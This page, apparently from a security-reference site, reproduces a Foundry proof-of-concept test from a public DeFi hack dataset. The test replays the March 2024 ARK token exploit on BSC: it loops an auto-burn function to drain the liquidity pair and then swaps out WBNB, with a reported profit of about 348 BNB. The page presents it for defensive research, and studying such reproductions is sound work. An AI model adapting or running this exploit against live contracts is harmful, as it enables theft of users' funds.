Skip to content
THREATWIRE

Public reproduction file

src/test/2024-03/ARK_exp.sol

Public reproduction file for dataset entry ARK.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-03/ARK_exp.sol51 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// TX : https://app.blocksec.com/explorer/tx/bsc/0xe8b0131fa14d0a96327f6b5690159ffa7650d66376db87366ba78d91f17cd677
8// GUY : https://twitter.com/Phalcon_xyz/status/1771728823534375249
9// Profit : ~348BNB
10// REASON : business logic flaw
12interface Ark is IERC20 {
13 function autoBurnLiquidityPairTokens() external;
16contract ContractTest is Test {
17 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
18 Ark constant ARK = Ark(0xde698B5BBb4A12DDf2261BbdF8e034af34399999);
19 Uni_Pair_V2 ARK_WBNB = Uni_Pair_V2(0xc0F54B8755DAF1Fd78933335EfCD761e3D5B4a6F);
20 Uni_Router_V2 router = Uni_Router_V2(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
21 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
23 function setUp() external {
24 cheats.createSelectFork("bsc", 37_221_235);
25 // explotier have
26 deal(address(WBNB), address(this), 100);
27 deal(address(ARK), address(this), 4 ether);
28 }
30 function testExploit() external {
31 emit log_named_decimal_uint("[Begin] Attacker WBNB before exploit", WBNB.balanceOf(address(this)), 18);
32 uint256 i = 0;
33 while (i < 10_000) {
34 ARK.autoBurnLiquidityPairTokens();
35 if (ARK.balanceOf(address(ARK_WBNB)) < 1_700_000_000_000) {
36 break;
37 }
38 i++;
39 }
40 WBNB.transfer(address(ARK_WBNB), 100);
41 ARK.transfer(address(ARK_WBNB), ARK.balanceOf(address(this)));
42 (uint256 _reserve0, uint256 _reserve1,) = ARK_WBNB.getReserves();
43 uint256 Ark_balance = ARK.balanceOf(address(ARK_WBNB));
44 address[] memory path = new address[](2);
45 path[0] = address(ARK);
46 path[1] = address(WBNB);
47 uint256[] memory amountOut = router.getAmountsOut(Ark_balance - _reserve1, path);
48 ARK_WBNB.swap(amountOut[1], 0, address(this), "");
49 emit log_named_decimal_uint("[End] Attacker WBNB after exploit", WBNB.balanceOf(address(this)), 18);
50 }

Analysis

Dataset entry

Public Foundry test for “ARK” (2024-03-24). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
ARK
Path
src/test/2024-03/ARK_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
01cf0b4c8ea089ac32351d18b1cbed2360c630b2
Language
Solidity
Size
52 lines
Date
2024-03-24
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-03/ARK_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 01cf0b4c8ea089ac32351d18b1cbed2360c630b2, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.